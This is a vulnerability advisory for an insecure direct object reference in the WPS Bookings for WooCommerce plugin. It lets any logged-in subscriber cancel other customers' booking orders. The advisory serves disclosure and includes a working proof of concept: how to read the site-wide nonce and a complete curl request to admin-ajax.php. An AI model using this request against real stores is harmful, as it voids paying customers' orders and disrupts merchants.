WPS Bookings for WooCommerce < 3.11.7 – Subscriber+ Arbitrary Booking Order Cancellation via IDOR | CVE 2026-12393

Description

The plugin does not verify that a booking order belongs to the requesting user before cancelling it, allowing any authenticated user, such as a Subscriber or Customer, to cancel and void other customers' booking orders.

Proof of Concept

Preconditions:
- WPS Bookings for WooCommerce <= 3.11.6 active (with WooCommerce).
- A bookable product (#P) with the self-service cancellation feature enabled: "Cancellation Allowed" checked and at least one order status (e.g. Processing) selected under "Order statuses".
- A victim customer (alice) with a booking order (#V) for product #P in a cancellable status (e.g. Processing).
- An attacker account (bob) at Subscriber/Customer level.

Steps:
1. As bob, load any front-end page and read mwb_mbfw_common_obj.nonce from the page source (the mwb-mbfw-common-js script is enqueued site-wide on wp_enqueue_scripts, so any logged-in user obtains a valid mbfw_common_nonce).

2. As bob, send the cross-user cancellation (order_id = alice's order #V, product_id = #P):

   curl -k 'https://TARGET/wp-admin/admin-ajax.php' \
     -b 'BOB_AUTHENTICATED_COOKIES' \
     --data-urlencode 'action=bfw_cancelled_booked_order' \
     --data-urlencode 'nonce=NONCE' \
     --data-urlencode 'order_id=V' \
     --data-urlencode 'product_id=P' \
     --data-urlencode 'reason=Cancelled by attacker'

3. Result: alice's order #V has its booking line item zeroed and flagged _item_cancelled; because that empties the order total, order #V transitions to the "cancelled" status. bob does not own order #V.